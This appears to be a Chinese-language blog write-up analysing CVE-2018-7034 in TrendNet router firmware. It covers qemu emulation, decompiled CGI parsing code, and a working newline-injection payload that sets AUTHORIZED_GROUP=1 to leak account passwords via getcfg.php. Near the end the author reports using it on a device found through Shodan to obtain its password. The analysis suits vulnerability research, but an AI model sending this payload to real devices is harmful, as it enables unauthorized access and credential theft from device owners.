漏洞信息
通过使用 AUTHORIZED_GROUP=1
值,攻击者可以绕过认证,如通过请求 getcfg.php
进行信息泄露
这个cve的成因,主要是因为解析%xx和判断环境变量的不严谨导致的,以下分析
php文件的分析
可以看到如果Authorized_group>=0即代表用户授权,可以加载一个file,而这个file是"/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"
的格式,那么我们看到在该目录下的以.xml.php为后缀的文件,DEVICE.ACCOUNT.xml.php
该文件可以泄露用户名和密码等信息
1 2 3 4 5 6 7 8 9 10 11 12
| foreach("/device/account/entry") { if ($InDeX > $cnt) break; echo "\t\t\t<entry>\n"; echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n"; echo "\t\t\t\t<name>". get("x","name"). "</name>\n"; echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n"; echo "\t\t\t\t<password>". get("x","password")."</password>\n"; echo "\t\t\t\t<group>". get("x", "group"). "</group>\n"; echo "\t\t\t\t<description>".get("x","description")."</description>\n"; echo "\t\t\t</entry>\n"; }
|
因此我们只需要AUTHORIZED_GROUP=1就可以获得用户的敏感信息:密码
因为传入的数据都是先通过登录验证文件 htdocs/cgibin
的解析后,发送给 php
等文件进行处理,所以分析cgibin是如何设置该字段的,winmt师傅说由于这里的webserver
运行的是php
脚本,所以要着重看php部分
环境的搭建
固件的提取,这里使用的是TrendNet的固件TEW-715APO
下载然后binwalk提取即可,但是这题搭建了系统qemu也没啥用,主要是太难以调试了,以系统模式的话,因此考虑的是qemu-mipsel-static
用户级调试
二进制文件的调用
最终的调试指令:
1
| sudo chroot . ./qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH="26214" -E REQUEST_URI="wtf?COOL" -g 1234 ./phpcgi 123
|
ida分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int __cdecl main(int argc, const char **argv, const char **envp) { const char *v3; char *v6; int (*v8)(); int v9;
v3 = *argv; v6 = strrchr(*argv, '/'); if ( v6 ) v3 = v6 + 1; if ( !strcmp(v3, "phpcgi") ) { v8 = phpcgi_main; v9 = argc; return (v8)(v9, argv, envp); }
|
遍历环境变量之后的结果,会发现他好像将本机的env都搞出来了
着重注意第一个设置的结构体,显然是环境变量的所在处,然后必须为post请求,这样func函数才为sub_405AC0,这个函数之后会再次出现,只需记住即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| int __fastcall cgibin_parse_request(int function, sodj *addr, unsigned int Maxnum) { char *CONTENT_LENGTH_ptr; unsigned int len; int v8; char *CONTENT_TYPE_ptr; char **content_type_; int v11; size_t len_1; const char *v14;
if ( getenv("CONTENT_TYPE") && (CONTENT_LENGTH_ptr = getenv("CONTENT_LENGTH")) != 0 ) len = atoi(CONTENT_LENGTH_ptr); else len = 0; v8 = parse_uri(function, addr); if ( v8 >= 0 ) { if ( Maxnum >= len ) { if ( len ) { getenv("CONTENT_TYPE"); CONTENT_TYPE_ptr = getenv("CONTENT_TYPE"); if ( CONTENT_TYPE_ptr ) { content_type_ = &off_433014; v11 = 0; while ( 1 ) { v14 = *content_type_; if ( !*content_type_ ) break; len_1 = content_type_[1]; content_type_ += 3; ++v11; if ( !strncasecmp(CONTENT_TYPE_ptr, v14, len_1) ) return ((&off_433014)[3 * v11 - 1])(function, addr, len, &CONTENT_TYPE_ptr[len_1]); } } return -1; } } else { sub_4033E8(len); return -100; } } return v8; }
|
会遍历这部分内容,相应的请求方式执行对应的函数
发现除了Application形式的剩下的所有的返回值都是-1,返回到主函数就直接退出了,因此仔细看sub_40445C
1 2 3 4 5 6 7 8
| int __fastcall sub_40445C(int funct, sodj *addr, int CONTENT_LENGTH_ptr, const char *a4) { if ( !strncasecmp(a4, "x-www-form-urlencoded", 0x15u) ) return sub_403A0C(funct, addr, CONTENT_LENGTH_ptr); sub_4033E8(CONTENT_LENGTH_ptr); sub_4040E0("read_ct_application", a4); return -1; }
|
显然是application/x-www-form-urlencoded的post请求会调用sub_403A0C
其中read读入的便是我们的Poc,调试的话直接输入到远程页面即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| int __fastcall sub_403864(_DWORD *a1, int data_addr, unsigned int more_len) { unsigned int thelen; int v7; int v8; void (__fastcall *func)(int, int *); int export_addr; int result; int one; char v13; sodj *sodj; char *oneaddr; int v16[4];
if ( data_addr ) { thelen = 0; if ( more_len ) { while ( 1 ) { result = thelen < more_len; if ( thelen >= more_len ) return result; oneaddr = (data_addr + thelen); one = *(data_addr + thelen); if ( *a1 ) { v13 = *oneaddr; if ( one == '&' ) { sub_403864(a1, 0, 0); goto LABEL_15; } sodj = a1[2]; } else { v13 = *oneaddr; if ( one == '=' ) { *a1 = 1; goto LABEL_15; } sodj = a1[1]; } sobj_add_char(sodj, v13); LABEL_15: ++thelen; } } } if ( *a1 ) { if ( !sobj_empty(a1[1]) ) { sobj_unescape_uri(a1[1]); sobj_unescape_uri(a1[2]); v7 = a1[1]; v8 = a1[2]; func = a1[3]; export_addr = a1[4]; v16[0] = 0; v16[1] = v7; v16[2] = v8; func(export_addr, v16); } } sobj_free(a1[1]); result = sobj_free(a1[2]); *a1 = 0; return result; }
|
会发现它将=两边的东西都分别存储到对应的地方,而之后对%xx进行了解码之后再次调用func就是之前的那个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| int __fastcall sub_405AC0(sodj *glocal_addr, _DWORD *addr) { int result; const char *v5; int v6; const char *string; int v8; const char *v9; const char *v10; const char *v11;
if ( *addr ) { result = 1; if ( *addr != 1 ) return result; sobj_add_string(glocal_addr, "_FILES_"); string = sobj_get_string(addr[1]); sobj_add_string(glocal_addr, string); sobj_add_char(glocal_addr, '='); v8 = addr[2]; if ( v8 ) v9 = sobj_get_string(v8); else v9 = &off_420798; sobj_add_string(glocal_addr, v9); sobj_add_char(glocal_addr, 10); sobj_add_string(glocal_addr, "_FILETYPES_"); v10 = sobj_get_string(addr[1]); sobj_add_string(glocal_addr, v10); sobj_add_char(glocal_addr, 61); v6 = addr[3]; if ( !v6 ) { v11 = &off_420798; goto LABEL_11; } } else { sobj_add_string(glocal_addr, "_POST_"); v5 = sobj_get_string(addr[1]); sobj_add_string(glocal_addr, v5); sobj_add_char(glocal_addr, 61); v6 = addr[2]; } v11 = sobj_get_string(v6); LABEL_11: sobj_add_string(glocal_addr, v11); return sobj_add_char(glocal_addr, 10); }
|
发现就是将结构体的内容存到环境变量里
POC的书写
因此我们可以构造一个Poc
1
| SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
|
实战
shodan随便找一个shodan
就获得了他的密码
参考链接
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7034
https://www.iotsec-zone.com/article/384
https://zikh26.github.io/posts/5f982ad5.html